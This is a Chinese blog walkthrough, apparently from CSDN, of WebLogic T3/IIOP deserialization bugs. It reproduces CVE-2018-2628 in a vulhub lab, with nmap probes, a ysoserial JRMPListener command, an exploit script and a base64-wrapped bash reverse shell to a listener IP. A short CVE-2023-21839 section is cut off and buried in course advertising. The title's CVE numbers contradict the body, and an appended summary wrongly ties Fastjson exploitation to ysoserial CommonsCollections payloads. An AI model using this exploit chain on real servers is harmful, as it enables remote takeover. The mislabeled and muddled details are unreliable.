Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2024-2628 CVE-2024-21839复现)_weblogic payload

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

Java远程消息交换协议JRMP。

JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。

RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。

影响版本

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

漏洞复现

环境:kali linux

靶场:vulhub /vulhub/weblogic/CVE-2018-2628

开启靶场,进入环境:

image-20230919112817669

进行访问:

image-20230919112915568

Nmap扫描目标IP端口,查看是否使用weblogic

nmap -sV 192.168.100.134 //靶场ip地址

扫描结果,开放了7001端口,对应weblogic服务以及版本信息

image-20230919113107730

使用Nmap的脚本查看对方是否开启T3协议,查看到目标站点开启了T3协议

nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info 

扫描结果:说明开启了T3协议

image-20230919113245926

使用扫描工具探测是否存在weblogic漏洞:

工具地址

经过扫描,发现此漏洞(工具可能有所差异不太准确,也可使用图形化界面)

image-20230919115106767

存在CVE-2018-2628漏洞

image-20230919114820553

攻击者需要使用ysoserial启动一个JMRP Server

工具地址

其他架包使用方式都类似,大同小异,查看帮助即可。

JMRP Server在7777端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为9999

PS:

这里使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用

反弹shell命令:

sh -i >& /dev/tcp/192.168.100.1/9999 0>&1

base64编码后:

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

开启JMRP Server服务:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

image-20230919115608885

本地监听9999端口:

image-20230919121223495

接下来使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)

python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.100.1 7777 JRMPClient

image-20230919121436393

JMRP服务接受信息:

image-20230919121506408

查看监听端:

image-20230919121555545

EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上

执行命令也是同样的道理,将反弹shell命令改成想要"执行操作的命令"即可。

比如"touch /test.txt"

image-20230919121910643

来到靶机验证一下是否创建成功:

docker-compose exec weblogic /bin/bash 

image-20230919122001066

创建成功,命令成功被执行。

还可以使用工具进行,相对简单,直接利用:

首先开启JRMP服务:

image-20230919140232727

输入JRMP地址,进行执行

image-20230919140142417

JRMP服务返回信息内容:

image-20230919140322425

验证是否创建成功:

成功创建:

image-20230919140355754

修复方案
  • 打上官方的最新补丁
  • 控制T3服务的访问权限(添加白名单仅给指定几台主机使用)

CVE-2023-21839

漏洞描述

Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作,当JDK版本过低或本地存在javaSerializedData时,这可能会导致RCE漏洞。

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响版本
  • WebLogic_Server = 12.2.1.3.0
  • WebLogic_Server = 12.2.1.4.0
  • WebLogic_Server = 14.1.1.0.0

CVE-2023-21839是一个weblogic的JNDI注入漏洞

由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

漏洞复现

环境:kali linux

靶场:vulhub vulhub/weblogic/CVE-2023-21839

开启环境:

image-20230919142504679

访问靶场地址:

image-20230919142625342

Nmap扫描:

nmap -sV 192.168.100.134

开放了7001端口,以及对应的weblogic服务版本

image-20230919142850639

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

[外链图片转存中…(img-RqAcaneV-1715551727877)]
[外链图片转存中…(img-fSxm0s7z-1715551727878)]
[外链图片转存中…(img-MLRlfmK9-1715551727879)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WebLogic和Fastjson反序列化漏洞是两个独立的漏洞,但它们都涉及到Java反序列化的安全问题。我会分别给你介绍这两个漏洞原理复现方法。 1. WebLogic反序列化漏洞原理分析复现WebLogic反序列化漏洞是指通过利用WebLogic Server中T3协议的漏洞,攻击者可以在目标服务器上执行任意代码。这个漏洞的根本原因是WebLogic Server在处理T3协议时未正确过滤用户提供的数据,导致攻击者可以构造恶意的序列化数据,在服务器端触发反序列化漏洞复现漏洞的步骤如下: 1) 下载并配置WebLogic Server环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造T3协议请求,将生成的payload嵌入到请求中。 4) 启动WebLogic Server,并发送恶意请求。 5) 成功触发反序列化漏洞后,攻击者可以执行任意代码。 2. Fastjson反序列化漏洞原理分析复现: Fastjson是一个常用的Java JSON库,该漏洞存在于Fastjson的版本1.2.24及之前的版本中。攻击者可以通过构造恶意的JSON数据,触发Fastjson的反序列化漏洞,从而执行任意代码。 漏洞的原因是Fastjson在反序列化JSON数据时,对默认类型进行了自动化检测和加载,并且允许调用类的默认构造函数,从而导致了代码执行漏洞。攻击者可以通过构造恶意的JSON数据,在目标服务器上执行任意代码。 复现漏洞的步骤如下: 1) 下载并配置Fastjson版本1.2.24或之前的环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造恶意的JSON数据,将生成的payload嵌入到JSON中。 4) 编写测试代码,使用Fastjson进行反序列化操作。 5) 执行测试代码,成功触发反序列化漏洞后,攻击者可以执行任意代码。 请注意,漏洞利用是非法行为,仅在授权范围内进行安全测试和研究。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值